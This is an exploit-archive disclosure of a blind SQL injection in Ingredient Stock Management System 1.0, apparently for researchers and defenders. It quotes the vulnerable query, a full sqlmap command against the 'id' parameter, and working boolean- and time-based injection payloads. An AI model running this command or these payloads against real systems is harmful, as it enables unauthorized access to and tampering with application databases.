

Ingredient Stock Management System 1.0 SQL Injection

Authored by [Saud Alenazi](#)

Posted [May 30, 2022](#)

Ingredient Stock Management System version 1.0 suffers from a remote blind SQL injection vulnerability.

tags | [exploit](#), [remote](#), [sql injection](#)

SHA-256 | 812877405ea0e76d72d7e4772f6c9f533edc2df0d65201ce055c9b60f7795d4d [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like 0

Tweet

LinkedIn

Reddit

Digg

StumbleUpon

[Change Mirror](#)[Download](#)

```
# Exploit Title: Ingredient Stock Management System v1.0 - 'id' Blind SQL Injection
# Date: 28/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
```

Description :

Ingredient Stock Management System 1.0 allows SQL Injection via parameter 'id' in /isms/admin/stocks/view_stock.php. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database

Vulnerable Code :

line 74 in file "/isms/admin/stocks/view_stock.php"

```
$stockins = $conn->query("SELECT * FROM `stockin_list` where item_id = '{id}' order by date(`date`) asc");
```

Sqlmap command:

```
sqlmap -u 'http://localhost/isms/admin/?page=stocks/view_stock&id=1' -p id --level=5 --risk=3 --dbs --random-agent --eta
```

Output:

Parameter: id (GET)

```
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=stocks/view_stock&id=1' AND 1902=1902 AND 'yLuX'='yLuX
```

Type: time-based blind

```
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=stocks/view_stock&id=1' AND (SELECT 6709 FROM (SELECT(SLEEP(5)))gZCj) AND 'vMqP'='vMqP
```



Follow us on Twitter



Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 188 files

Ubuntu 57 files

Gentoo 44 files

Debian 28 files

Apple 25 files

Google Security Research 14 files

malvuln 10 files

nu11secuR1ty 6 files

mjurczyk 4 files

George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

[Login](#) or [Register](#) to add favorites

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)

[Terms of Service](#)

[Privacy Statement](#)


[Copyright Information](#)

Hosting By

[Rokasec](#)

Intrusion Detection (866)	BSD (370)
Java (2,888)	CentOS (55)
JavaScript (817)	Cisco (1,917)
Kernel (6,255)	Debian (6,620)
Local (14,173)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,390)	Gentoo (4,272)
Perl (1,417)	HPUX (878)
PHP (5,087)	iOS (330)
Proof of Concept (2,290)	iPhone (108)
Protocol (3,426)	IRIX (220)
Python (1,449)	Juniper (67)
Remote (30,009)	Linux (44,118)
Root (3,496)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,768)	OpenBSD (479)
Shell (3,098)	RedHat (12,339)
Shellcode (1,204)	Slackware (941)
Sniffer (885)	Solaris (1,607)
Spoof (2,165)	SUSE (1,444)
SQL Injection (16,089)	Ubuntu (8,147)
TCP (2,377)	UNIX (9,150)
Trojan (685)	UnixWare (185)
UDP (875)	Windows (6,504)
Virus (661)	Other
Vulnerability (31,104)	
Web (9,329)	
Whitepaper (3,728)	
x86 (946)	
XSS (17,478)	
Other	

 Follow us on Twitter

 Subscribe to an RSS Feed